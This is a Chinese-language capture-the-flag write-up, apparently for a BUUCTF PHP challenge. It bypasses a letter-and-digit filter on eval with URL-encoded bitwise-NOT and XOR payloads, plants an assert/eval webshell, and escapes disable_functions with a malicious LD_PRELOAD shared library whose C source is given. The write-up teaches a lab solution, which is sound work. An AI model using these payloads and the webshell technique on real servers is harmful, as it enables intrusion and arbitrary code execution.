一、题目源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>
源码就是简单的eval代码执行,但是过滤了所有的大小写字母和数字
二、绕过(本文重点)
利用url编码并取反进行绕过。因为只进行url编码的话,浏览器会自动进行解码,取反(反码,而不是倒序)之后,就会变成不可见字符,从而绕过对大小写字母和数字的检测。
2.1 exp
<?php
$a = 'assert';
$b =urlencode(~$a); #~$a取反(反码)之后是不可见字符,所以不能直接打印出来
echo $b;
?>
输出%9E%8C%8C%9A%8D%8B,即为phpinfo进行取反之后的url编码
2.2 payload
/?code=(~%9E%8C%8C%9A%8D%8B)(); #再取反回来变成phpinfo
三、解题

执行上面的payload之后在phpinfo信息中看到过滤了这么多函数,但是没有过滤assert函数。
利用assert函数进行代码执行 assert==eval
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[test]))';
$d=urlencode(~$c);
echo $d;
?>
相当于最后要执行的是 assert(eval($_POST[test])) #要在assert里面再套一个eval是因为php版本问题不能直接构造<?php assert($_POST['a']);>
3.1 最终payload
http://3e7c1cc5-a4c0-4113-86b0-11a2e2b4dff4.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8B%9A%8C%8B%A2%D6%D6);
3.2 蚁剑连接

3.3 读取flag
要读取flag,需要先执行readflag,但是因为禁用了很多函数,没有办法执行命令,这时候需要绕过disable_functions.
3.3.1 使用蚁剑插件绕过disabled-functions


进入终端后即可正常执行命令

3.3.2 写.so文件,将LD_PRELOAD系统变量指向它
原理:在运行可执行文件时,会先执行LD_PRELOAD系统变量所指向的动态链接库(.so文件),那么我们写一个恶意的.so文件,并把LD_PRELOAD系统变量设为我们写的这个 恶意的.so文件。
- 创建getflag.c
//程序含义就是,读取flag并将其保存到/var/tmp/test.php文件中,并将原本的`LD_PRELOAD`系统变量删掉
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() { //读取flag
system("cat /flag >> /var/tmp/test.php");
system("tac /flag >> /var/tmp/test.php");
system("more /flag >> /var/tmp/test.php");
system("head -2 /flag >> /var/tmp/test.php");
system("tail /flag >> /var/tmp/test.php");
system("/readflag >> /var/tmp/test.php");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; } //getenv 获取系统变量
unsetenv("LD_PRELOAD"); //删除系统变量
payload();
}
将其编译为getflag.so
gcc -shared -fPIC getflag.c -o getflag.so
- shell.php
# 创建系统变量LD_PRELOAD,将其指向我们写的getflag.so
<?php
putenv("LD_PRELOAD=/var/tmp/getflag.so");
mail("","","","");
error_log("",1,"","");
?>
将
getflag.so和shell.php上传到/var/tmp目录下利用异或绕过过滤大小写字母和数字的方法去访问我们上传的shell.php文件
/?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/getflag.so之后就可以看到生成了存储着flag的test.php
